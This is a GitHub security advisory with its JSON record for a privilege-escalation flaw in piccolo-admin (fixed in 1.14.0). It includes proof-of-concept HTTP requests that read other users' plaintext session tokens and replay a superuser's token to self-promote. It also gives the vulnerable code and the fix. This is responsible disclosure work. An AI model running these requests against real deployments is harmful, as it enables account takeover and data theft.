GHSA-2GH4-JMWQ-RR8W
Vulnerability from github – Published: 2026-08-28 18:14 – Updated: 2026-08-28 18:14Summary
piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.
The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.
The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.
Affected component
- File:
piccolo_admin/endpoints.py - Function:
superuser_validators(around line 419)
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
user: BaseUser = request.user.user
if not user.superuser:
if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
raise HTTPException(
detail="Only superusers can perform these actions.",
status_code=405,
)
The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.
Preconditions
- Network reachability to the admin.
- Valid credentials for a non-superuser admin (
admin=True, superuser=False— the default role created byBaseUser.create_user(admin=True)). - The deployment includes the
Sessionstable (and typically theUsertable) increate_admin([...])— the documented pattern for "active sessions" management UIs.
Steps to reproduce
-
Log in as the non-superuser admin (
john / john123). Open the Piccolo User table and confirm john'sSUPERUSERcolumn is ✗. (See Screenshot 1.) -
Attempt the target write directly. Send the following request:
```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=; csrftoken= X-CSRFToken:
{"superuser": true} ```
The server returns:
HTTP/1.1 405
{"detail":"Only superusers can perform these actions."}
The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break.
- Leak the credential. As the same john user, request:
http
GET /api/tables/sessions/ HTTP/1.1
Host: target:8001
Cookie: id=<john's session>; csrftoken=<token>
Response: 200 OK containing every active session in plaintext, e.g.
json
{"rows":[
{"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
{"token":"...","user_id":2, ...},
...
]}
Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. (Screenshot 4.)
- Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the
Cookie: id=value to the stolen token:
```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken= X-CSRFToken:
{"superuser": true} ```
Response: 200 OK, body shows "superuser": true for john. (Screenshot 5.)
- Verify persistence. Log in fresh as
john / john123(no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.
Impact
Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:
- read/write/delete any row in any table the admin exposes;
- revoke any other session, locking out other admins;
- change any user's password;
- export data (including via the bulk CSV download forms);
- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.
Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.
Suggested fix
Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:
def superuser_validators(piccolo_crud, request):
if not request.user.user.superuser:
raise HTTPException(
status_code=403,
detail="Only superusers can access this resource.",
)
Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.
Severity
CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Reasoning:
- AV:N — accessible over the network.
- AC:L — single GET; no race or timing dependency.
- PR:L — requires non-superuser admin credentials (the default admin role).
- UI:N — no victim interaction needed.
- S:U — scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.
- C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.
Weaknesses
- CWE-269 Improper Privilege Management (primary)
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-863 Incorrect Authorization
Notes for the maintainer
- The vulnerability is reachable on any version where
superuser_validatorsuses a method deny-list andSessionsBase.tokenis notsecret=True. I tested againstpiccolo_admin 1.13.0+piccolo_api 1.9.0. - The shipped
admin_demodoes not expose theSessionstable, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimalcreate_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)configuration, which mirrors the documented "Sessions admin view" pattern. - I'm happy to coordinate disclosure timing and validate any candidate patch.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.13.0"
},
"package": {
"ecosystem": "PyPI",
"name": "piccolo-admin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55485"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-269",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:14:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user\u0027s live session token with one request, replay the token as their own `Cookie: id=\u2026`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n user: BaseUser = request.user.user\n if not user.superuser:\n if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n raise HTTPException(\n detail=\"Only superusers can perform these actions.\",\n status_code=405,\n )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` \u2014 the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` \u2014 the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john\u0027s `SUPERUSER` column is **\u2717**. *(See Screenshot 1.)*\n\u003cimg width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" /\u003e\n\n2. **Attempt the target write directly.** Send the following request:\n\n ```http\n PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n Host: target:8001\n Content-Type: application/json\n Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n X-CSRFToken: \u003ctoken\u003e\n\n {\"superuser\": true}\n ```\n\n The server returns:\n\n ```\n HTTP/1.1 405\n {\"detail\":\"Only superusers can perform these actions.\"}\n ```\n\n The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n\u003cimg width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" /\u003e\n\u003cimg width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" /\u003e\n\n3. **Leak the credential.** As the same john user, request:\n\n ```http\n GET /api/tables/sessions/ HTTP/1.1\n Host: target:8001\n Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n ```\n\n Response: `200 OK` containing every active session in plaintext, e.g.\n\n ```json\n {\"rows\":[\n {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n {\"token\":\"...\",\"user_id\":2, ...},\n ...\n ]}\n ```\n\n Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n\u003cimg width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" /\u003e\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n ```http\n PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n Host: target:8001\n Content-Type: application/json\n Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=\u003ctoken\u003e\n X-CSRFToken: \u003ctoken\u003e\n\n {\"superuser\": true}\n ```\n\n Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n\u003cimg width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" /\u003e\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed \u2014 the elevation is permanent on john\u0027s own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user\u0027s password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic \u2014 once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers \u2014 there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n if not request.user.user.superuser:\n raise HTTPException(\n status_code=403,\n detail=\"Only superusers can access this resource.\",\n )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** \u2014 accessible over the network.\n- **AC:L** \u2014 single GET; no race or timing dependency.\n- **PR:L** \u2014 requires non-superuser admin credentials (the default admin role).\n- **UI:N** \u2014 no victim interaction needed.\n- **S:U** \u2014 scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** \u2014 full read, full write, full availability impact on the admin\u0027s data and on other users\u0027 sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I\u0027m happy to coordinate disclosure timing and validate any candidate patch.",
"id": "GHSA-2gh4-jmwq-rr8w",
"modified": "2026-08-28T18:14:13Z",
"published": "2026-08-28T18:14:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
},
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo_api/pull/331"
},
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"
},
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"
},
{
"type": "PACKAGE",
"url": "https://github.com/piccolo-orm/piccolo_admin"
},
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"
},
{
"type": "WEB",
"url": "https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/."
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.